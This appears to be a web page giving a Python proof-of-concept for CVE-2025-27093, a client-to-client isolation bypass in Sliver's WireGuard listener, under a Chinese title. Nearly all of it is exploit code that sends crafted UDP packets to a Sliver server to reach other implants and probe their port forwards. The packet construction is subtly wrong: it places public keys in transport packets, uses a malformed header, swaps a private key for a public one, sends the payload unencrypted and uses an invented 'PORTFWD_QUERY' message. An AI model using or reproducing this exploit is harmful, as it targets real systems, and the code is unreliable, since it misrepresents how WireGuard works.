CVE-2025-27093 Sliver Wireguard客户端间流量隔离缺失漏洞

// CVE-2025-27093 PoC - Sliver Wireguard Client-to-Client Traffic Isolation Bypass // This PoC demonstrates the lack of traffic isolation between Sliver wireguard clients import socket import struct import time def create_wireguard_packet(src_pubkey, dst_pubkey, payload): """ Craft a Wireguard packet to send directly between clients. In vulnerable Sliver versions, no server-side validation exists. """ # Wireguard packet header structure packet_type = 0x04 # Transport data packet reserved = bytes([0] * 3) # Construct the packet header = struct.pack('>I', packet_type) + reserved receiver = dst_pubkey # Target client public key sender = src_pubkey # Attacker public key # Encrypted payload would go here (simplified for demonstration) encrypted_payload = payload return header + receiver + sender + encrypted_payload def exploit_sliver_client_isolation(target_ip, target_port, attacker_privkey, target_pubkey): """ Exploit the client isolation bypass to communicate with other implants. """ try: # Craft a packet as if from the attacker implant packet = create_wireguard_packet( attacker_privkey, # Attacker's public key target_pubkey, # Target implant's public key b'\x01\x00\x00\x00' # Control message ) # Send directly to the Sliver server sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent to {target_ip}:{target_port}") print(f"[+] Target implant: {target_pubkey.hex()}") print("[+] In vulnerable versions, this packet reaches the target implant directly") # Try to receive response try: data, addr = sock.recvfrom(4096) print(f"[+] Received response from {addr}: {data.hex()}") except socket.timeout: print("[-] No response received (may indicate patch or wrong target)") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def scan_for_exposed_port_forwards(sliver_server_ip, port): """ Attempt to access port forwards from other implants. """ try: # Connect directly to the Sliver server's wireguard interface sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(3) # Craft connection request to access another implant's port forward request = b'PORTFWD_QUERY' + struct.pack('>H', port) sock.sendto(request, (sliver_server_ip, 51820)) print(f"[+] Sent port forward query for port {port}") sock.close() return True except Exception as e: print(f"[-] Error scanning port forwards: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-27093 - Sliver Wireguard Client Isolation Bypass") print("=" * 60) # Configuration - replace with actual values sliver_server = "192.168.1.100" port = 51820 attacker_key = bytes.fromhex("" + "00" * 32) target_key = bytes.fromhex("" + "11" * 32) # Exploit client-to-client communication exploit_sliver_client_isolation(sliver_server, port, attacker_key, target_key) # Try to access exposed port forwards scan_for_exposed_port_forwards(sliver_server, 8080)